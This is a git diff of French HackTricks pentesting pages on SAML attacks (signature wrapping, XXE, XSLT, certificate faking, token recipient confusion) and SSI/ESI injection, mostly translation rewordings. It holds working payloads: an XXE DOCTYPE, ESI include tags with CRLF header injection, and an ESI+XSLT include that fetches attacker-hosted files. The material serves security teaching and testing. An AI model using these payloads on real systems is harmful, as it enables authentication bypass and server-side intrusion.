[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) : Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) : Un outil qui peut prendre une URL ou une liste d'URL et renvoyer l'URL de consommation SAML.
|
||||
|
||||
## Aller-retour XML
|
||||
|
||||
En XML, la partie signée du XML est enregistrée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données, mais dans ce scénario, **les données vérifiées et les données originales pourraient ne pas être les mêmes**.
|
||||
En XML, la partie signée de l'XML est enregistrée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données, mais dans ce scénario, **les données vérifiées et les données originales pourraient ne pas être les mêmes**.
|
||||
|
||||
Par exemple, vérifiez le code suivant :
|
||||
```ruby
|
||||
|
@ -65,7 +65,7 @@ Pour plus d'informations sur la vulnérabilité et comment l'exploiter :
|
|||
|
||||
## Attaques d'Enveloppement de Signature XML
|
||||
|
||||
Dans les attaques d'**enveloppement de signature XML (XSW)**, les adversaires exploitent une vulnérabilité qui survient lorsque des documents XML sont traités à travers deux phases distinctes : la **validation de la signature** et l'**appel de fonction**. Ces attaques impliquent de modifier la structure du document XML. Plus précisément, l'attaquant **injecte des éléments forgés** qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la **logique de l'application** et ceux vérifiés par le **module de vérification de la signature**. Ainsi, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les **éléments frauduleux**. Par conséquent, l'attaquant contourne efficacement la **protection de l'intégrité** et l'**authentification de l'origine** de la signature XML, permettant l'**injection de contenu arbitraire** sans être détecté.
|
||||
Dans les attaques d'**enveloppement de signature XML (XSW)**, les adversaires exploitent une vulnérabilité qui survient lorsque des documents XML sont traités en deux phases distinctes : **validation de signature** et **appel de fonction**. Ces attaques impliquent la modification de la structure du document XML. Plus précisément, l'attaquant **injecte des éléments forgés** qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la **logique de l'application** et ceux vérifiés par le **module de vérification de signature**. Ainsi, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les **éléments frauduleux**. Par conséquent, l'attaquant contourne efficacement la **protection d'intégrité** et l'**authentification d'origine** de la signature XML, permettant l'**injection de contenu arbitraire** sans détection.
|
||||
|
||||
Les attaques suivantes sont basées sur **[cet article de blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) et [cet article](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Consultez-les pour plus de détails.
|
||||
|
||||
|
@ -100,7 +100,7 @@ Les attaques suivantes sont basées sur **[cet article de blog](https://epi052.g
|
|||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (542).png>)
|
||||
|
||||
### XSW #6
|
||||
- **Stratégie** : Insertion à un emplacement similaire à XSW #4 et #5, mais avec une subtilité.
|
||||
- **Stratégie** : Insertion à un emplacement similaire à XSW #4 et #5, mais avec une touche.
|
||||
- **Implication** : L'Assertion copiée enveloppe la Signature, qui enveloppe ensuite l'Assertion d'origine, créant une structure trompeuse imbriquée.
|
||||
|
||||
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (543).png>)
|
||||
|
@ -129,7 +129,7 @@ Si vous ne savez pas quels types d'attaques sont les XXE, veuillez lire la page
|
|||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Les réponses SAML sont des **documents XML compressés et encodés en base64** et peuvent être vulnérables aux attaques par entités XML externes (XXE). En manipulant la structure XML de la réponse SAML, les attaquants peuvent tenter d'exploiter les vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :
|
||||
Les réponses SAML sont des **documents XML compressés et encodés en base64** et peuvent être vulnérables aux attaques d'entité externe XML (XXE). En manipulant la structure XML de la réponse SAML, les attaquants peuvent tenter d'exploiter les vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -149,7 +149,7 @@ Les réponses SAML sont des **documents XML compressés et encodés en base64**
|
|||
```
|
||||
## Outils
|
||||
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer la POC à partir d'une requête SAML afin de tester les éventuelles vulnérabilités XXE et les vulnérabilités SAML.
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer la POC à partir d'une requête SAML afin de tester les vulnérabilités XXE et les vulnérabilités SAML possibles.
|
||||
|
||||
Consultez également cette présentation : [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
|
@ -163,7 +163,7 @@ Pour plus d'informations sur XSLT, rendez-vous sur :
|
|||
|
||||
Les Transformations de Langage de Feuille de Style Extensible (XSLT) peuvent être utilisées pour transformer des documents XML en différents formats tels que HTML, JSON ou PDF. Il est crucial de noter que **les transformations XSLT sont effectuées avant la vérification de la signature numérique**. Cela signifie qu'une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide est suffisante pour continuer.
|
||||
|
||||
Vous pouvez trouver ici une **POC** pour vérifier ce type de vulnérabilités. Sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des charges utiles.
|
||||
Vous pouvez trouver ici une **POC** pour vérifier ce type de vulnérabilités, sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des charges utiles.
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
|
@ -199,11 +199,11 @@ L'**Exclusion de Signature XML** observe le comportement des implémentations SA
|
|||
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Interceptez la réponse SAML et cliquez sur `Remove Signatures`. En faisant cela, **tous** les éléments de signature sont supprimés.
|
||||
|
||||
Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la signature n'est pas requise par le service
|
||||
Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la signature n'est pas requise par le service.
|
||||
|
||||
## Falsification de Certificat <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
La falsification de certificat est une technique pour tester si un **Fournisseur de Services (SP) vérifie correctement qu'un Message SAML est signé** par un Fournisseur d'Identité de confiance (IdP). Cela implique l'utilisation d'un ***certificat auto-signé** pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.
|
||||
La falsification de certificat est une technique pour tester si un **Fournisseur de Services (SP) vérifie correctement qu'un Message SAML est signé** par un Fournisseur d'Identité (IdP) de confiance. Cela implique l'utilisation d'un ***certificat auto-signé** pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.
|
||||
|
||||
### Comment Effectuer une Falsification de Certificat
|
||||
Les étapes suivantes décrivent le processus en utilisant l'extension Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) :
|
||||
|
@ -211,20 +211,20 @@ Les étapes suivantes décrivent le processus en utilisant l'extension Burp [SAM
|
|||
1. Interceptez la réponse SAML.
|
||||
2. Si la réponse contient une signature, envoyez le certificat à SAML Raider Certs en utilisant le bouton `Send Certificate to SAML Raider Certs`.
|
||||
3. Dans l'onglet Certificats de SAML Raider, sélectionnez le certificat importé et cliquez sur `Save and Self-Sign` pour créer un clone auto-signé du certificat d'origine.
|
||||
4. Revenez à la requête interceptée dans le Proxy de Burp. Sélectionnez le nouveau certificat auto-signé dans le menu déroulant de la signature XML.
|
||||
4. Revenez à la requête interceptée dans le Proxy de Burp. Sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML.
|
||||
5. Supprimez toutes les signatures existantes avec le bouton `Remove Signatures`.
|
||||
6. Signez le message ou l'assertion avec le nouveau certificat en utilisant les boutons **`(Re-)Sign Message`** ou **`(Re-)Sign Assertion`**, selon le cas.
|
||||
6. Signez le message ou l'assertion avec le nouveau certificat en utilisant le bouton **`(Re-)Sign Message`** ou **`(Re-)Sign Assertion`**, selon le cas.
|
||||
7. Transmettez le message signé. Une authentification réussie indique que le SP accepte les messages signés par votre certificat auto-signé, révélant des vulnérabilités potentielles dans le processus de validation des messages SAML.
|
||||
|
||||
## Confusion du Destinataire du Jeton / Confusion de la Cible du Fournisseur de Services <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
La Confusion du Destinataire du Jeton et la Confusion de la Cible du Fournisseur de Services impliquent de vérifier si le **Fournisseur de Services valide correctement le destinataire prévu d'une réponse**. En essence, un Fournisseur de Services devrait rejeter une réponse d'authentification si elle était destinée à un autre fournisseur. L'élément critique ici est le champ **Recipient**, trouvé dans l'élément **SubjectConfirmationData** d'une réponse SAML. Ce champ spécifie une URL indiquant où l'Assertion doit être envoyée. Si le destinataire réel ne correspond pas au Fournisseur de Services prévu, l'Assertion doit être considérée comme invalide.
|
||||
La Confusion du Destinataire du Jeton et la Confusion de la Cible du Fournisseur de Services impliquent de vérifier si le **Fournisseur de Services valide correctement le destinataire prévu d'une réponse**. En essence, un Fournisseur de Services devrait rejeter une réponse d'authentification si elle était destinée à un autre fournisseur. L'élément critique ici est le champ **Destinataire**, trouvé dans l'élément **SubjectConfirmationData** d'une réponse SAML. Ce champ spécifie une URL indiquant où l'Assertion doit être envoyée. Si le destinataire réel ne correspond pas au Fournisseur de Services prévu, l'Assertion doit être considérée comme invalide.
|
||||
|
||||
#### **Comment Cela Fonctionne**
|
||||
|
||||
Pour qu'une attaque de Confusion du Destinataire du Jeton SAML (SAML-TRC) soit réalisable, certaines conditions doivent être remplies. Tout d'abord, il doit exister un compte valide sur un Fournisseur de Services (appelé SP-Legit). Deuxièmement, le Fournisseur de Services ciblé (SP-Target) doit accepter les jetons du même Fournisseur d'Identité qui sert SP-Legit.
|
||||
Pour qu'une attaque de Confusion du Destinataire du Jeton SAML (SAML-TRC) soit réalisable, certaines conditions doivent être remplies. Tout d'abord, il doit exister un compte valide sur un Fournisseur de Services (appelé SP-Légitime). Deuxièmement, le Fournisseur de Services ciblé (SP-Cible) doit accepter les jetons du même Fournisseur d'Identité qui sert SP-Légitime.
|
||||
|
||||
Le processus d'attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Legit via le Fournisseur d'Identité partagé. La réponse SAML du Fournisseur d'Identité à SP-Legit est interceptée. Cette réponse SAML interceptée, initialement destinée à SP-Legit, est ensuite redirigée vers SP-Target. Le succès de cette attaque est mesuré par SP-Target acceptant l'Assertion, accordant l'accès aux ressources sous le même nom de compte utilisé pour SP-Legit.
|
||||
Le processus d'attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Légitime via le Fournisseur d'Identité partagé. La réponse SAML du Fournisseur d'Identité à SP-Légitime est interceptée. Cette réponse SAML interceptée, initialement destinée à SP-Légitime, est ensuite redirigée vers SP-Cible. Le succès de cette attaque est mesuré par le fait que SP-Cible accepte l'Assertion, accordant l'accès aux ressources sous le même nom de compte utilisé pour SP-Légitime.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
|
@ -290,14 +290,14 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -15,12 +15,12 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
# Vue d'ensemble de SAML
|
||||
|
||||
**Security Assertion Markup Language (SAML)** permet aux fournisseurs d'identité (IdP) d'être utilisés pour envoyer des informations d'identification d'autorisation aux fournisseurs de services (SP), facilitant ainsi la connexion unique (SSO). Cette approche simplifie la gestion de plusieurs connexions en permettant l'utilisation d'un seul ensemble d'informations d'identification sur plusieurs sites web. Elle exploite XML pour la communication normalisée entre les IdP et les SP, liant l'authentification de l'identité de l'utilisateur à l'autorisation de service.
|
||||
**Security Assertion Markup Language (SAML)** permet aux fournisseurs d'identité (IdP) d'être utilisés pour envoyer des informations d'identification d'autorisation aux fournisseurs de services (SP), facilitant la connexion unique (SSO). Cette approche simplifie la gestion de plusieurs connexions en permettant l'utilisation d'un seul ensemble d'informations d'identification sur plusieurs sites Web. Elle exploite XML pour la communication normalisée entre les IdP et les SP, liant l'authentification de l'identité de l'utilisateur à l'autorisation de service.
|
||||
|
||||
## Comparaison entre SAML et OAuth
|
||||
|
||||
- **SAML** est conçu pour offrir aux entreprises un plus grand contrôle sur la sécurité de la connexion SSO.
|
||||
- **OAuth** est conçu pour être plus adapté aux mobiles, utilise JSON, et est un effort collaboratif d'entreprises comme Google et Twitter.
|
||||
- **OAuth** est conçu pour être plus adapté aux mobiles, utilise JSON et est un effort collaboratif d'entreprises telles que Google et Twitter.
|
||||
|
||||
# Flux d'authentification SAML
|
||||
|
||||
|
@ -37,7 +37,7 @@ Le processus d'authentification SAML implique plusieurs étapes, comme illustré
|
|||
5. **Authentification à l'IdP** : L'IdP authentifie l'utilisateur.
|
||||
6. **Validation de l'utilisateur** : L'IdP valide la légitimité de l'utilisateur pour accéder à la ressource demandée.
|
||||
7. **Création de la réponse SAML** : L'IdP génère une réponse SAML contenant les assertions nécessaires.
|
||||
8. **Redirection vers l'URL ACS du SP** : L'utilisateur est redirigé vers l'URL du Service de Consommation d'Assertion (ACS) du SP.
|
||||
8. **Redirection vers l'URL ACS du SP** : L'utilisateur est redirigé vers l'URL du service de consommation d'assertions (ACS) du SP.
|
||||
9. **Validation de la réponse SAML** : L'ACS valide la réponse SAML.
|
||||
10. **Accès aux ressources accordé** : L'accès à la ressource initialement demandée est accordé.
|
||||
|
||||
|
@ -78,7 +78,7 @@ Vous pouvez trouver une [réponse SAML complète ici](https://epi052.gitlab.io/n
|
|||
|
||||
Après la réponse SAML, le processus comprend une redirection 302 de l'IdP. Cela conduit à une demande POST vers l'URL du Service de Consommation d'Assertion (ACS) du Fournisseur de Services. La demande POST inclut les paramètres `RelayState` et `SAMLResponse`. Le ACS est responsable du traitement et de la validation de la réponse SAML.
|
||||
|
||||
Après réception de la demande POST et validation de la réponse SAML, l'accès est accordé à la ressource protégée initialement demandée par l'utilisateur. Cela est illustré par une demande `GET` vers l'endpoint `/secure/` et une réponse `200 OK`, indiquant un accès réussi à la ressource.
|
||||
Après réception de la demande POST et validation de la réponse SAML, l'accès est accordé à la ressource protégée initialement demandée par l'utilisateur. Cela est illustré par une requête `GET` vers l'endpoint `/secure/` et une réponse `200 OK`, indiquant un accès réussi à la ressource.
|
||||
|
||||
|
||||
# Signatures XML
|
||||
|
@ -119,9 +119,9 @@ Exemple:
|
|||
...
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</Signature>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
</ds:Signature>
|
||||
...
|
||||
</samlp:Response>
|
||||
```
|
||||
|
@ -137,12 +137,12 @@ Exemple:
|
|||
...
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<samlp:Response ... ID="..." ... >
|
||||
...
|
||||
</samlp:Response>
|
||||
</Signature>
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
3. **Signature Détachée**: Ce type est séparé du contenu qu'il signe. La signature et le contenu existent indépendamment, mais un lien entre les deux est maintenu.
|
||||
|
@ -157,9 +157,9 @@ Exemple:
|
|||
...
|
||||
<ds:Reference URI="#...">
|
||||
...
|
||||
</Reference>
|
||||
</SignedInfo>
|
||||
</Signature>
|
||||
</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
En conclusion, les Signatures XML offrent des moyens flexibles de sécuriser les documents XML, chaque type répondant à des besoins structurels et de sécurité différents.
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -19,7 +19,7 @@ Autres façons de soutenir HackTricks :
|
|||
**(Introduction tirée de la [documentation Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
|
||||
|
||||
SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Elles vous permettent d'**ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'intégralité de la page via un programme CGI ou une autre technologie dynamique.\
|
||||
Par exemple, vous pourriez placer une directive dans une page HTML existante, comme :
|
||||
Par exemple, vous pourriez placer une directive dans une page HTML existante, comme ceci :
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
|
@ -69,7 +69,7 @@ Une expression SSI typique a le format suivant:
|
|||
## Inclusion côté serveur
|
||||
|
||||
Il y a un problème de **mise en cache des informations ou des applications dynamiques** car une partie du contenu peut **varier** la prochaine fois que le contenu est récupéré. C'est là que **ESI** est utilisé, pour indiquer en utilisant des balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
|
||||
si un **attaquant** est capable d'**injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter du contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
si un **attaquant** est capable d'**injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être en mesure d'**injecter du contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
|
||||
|
||||
### Détection de l'ESI
|
||||
|
||||
|
@ -99,15 +99,15 @@ hell<!--esi-->o
|
|||
// Valid for Akamai, sends debug information in the response
|
||||
<esi:debug/>
|
||||
```
|
||||
### Exploitation ESI
|
||||
### Exploitation d'ESI
|
||||
|
||||
[GoSecure a créé](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables de ESI, en fonction de la fonctionnalité prise en charge :
|
||||
[GoSecure a créé](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) un tableau pour comprendre les attaques possibles que nous pouvons essayer contre différents logiciels capables d'ESI, en fonction de la fonctionnalité prise en charge :
|
||||
|
||||
* **Includes** : Prend en charge la directive `<esi:includes>`
|
||||
* **Vars** : Prend en charge la directive `<esi:vars>`. Utile pour contourner les filtres XSS
|
||||
* **Cookie** : Les cookies du document sont accessibles au moteur ESI
|
||||
* **En-têtes amont requis** : Les applications de substitution ne traiteront pas les déclarations ESI à moins que l'application amont ne fournisse les en-têtes
|
||||
* **Liste blanche d'hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant SSRF, par exemple, possible uniquement contre ces hôtes
|
||||
* **Liste blanche d'hôtes** : Dans ce cas, les inclusions ESI ne sont possibles que depuis les hôtes de serveur autorisés, rendant par exemple les SSRF possibles uniquement contre ces hôtes
|
||||
|
||||
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **En-têtes amont requis** | **Liste blanche d'hôtes** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :-----------------------: | :----------------------: |
|
||||
|
@ -116,7 +116,7 @@ hell<!--esi-->o
|
|||
| Fastly | Oui | Non | Non | Non | Oui |
|
||||
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS esi | Oui | Oui | Oui | Non | Non |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Facultatif |
|
||||
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
|
||||
|
||||
#### XSS
|
||||
|
||||
|
@ -155,6 +155,8 @@ Ne pas confondre avec une "inclusion de fichier local" :
|
|||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF stands for Carriage Return Line Feed.
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
|
@ -195,7 +197,7 @@ Cela enverra des informations de débogage incluses dans la réponse :
|
|||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
En spécifiant la valeur `xslt` pour le paramètre _dca_, il est possible d'inclure ESI basé sur **`eXtensible Stylesheet Language Transformations (XSLT)`**. L'inclusion amène le serveur proxy HTTP à récupérer les fichiers XML et XSLT, ce dernier filtrant le premier. Ces fichiers XML sont exploitables pour des attaques _XML External Entity (XXE)_, permettant aux attaquants d'exécuter des attaques SSRF. Cependant, l'utilité de cette approche est limitée car les inclusions ESI servent déjà de vecteur SSRF. En raison de l'absence de prise en charge dans la bibliothèque Xalan sous-jacente, les DTD externes ne sont pas traités, empêchant l'extraction de fichiers locaux.
|
||||
En spécifiant la valeur `xslt` pour le paramètre _dca_, il est possible d'inclure des ESI basés sur **`eXtensible Stylesheet Language Transformations (XSLT)`**. L'inclusion amène le serveur proxy HTTP à récupérer les fichiers XML et XSLT, ce dernier filtrant le premier. Ces fichiers XML sont exploitables pour des attaques _XML External Entity (XXE)_, permettant aux attaquants d'exécuter des attaques SSRF. Cependant, l'utilité de cette approche est limitée car les ESI inclus servent déjà de vecteur SSRF. En raison de l'absence de prise en charge dans la bibliothèque sous-jacente Xalan, les DTD externes ne sont pas traités, empêchant l'extraction de fichiers locaux.
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
@ -231,7 +233,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
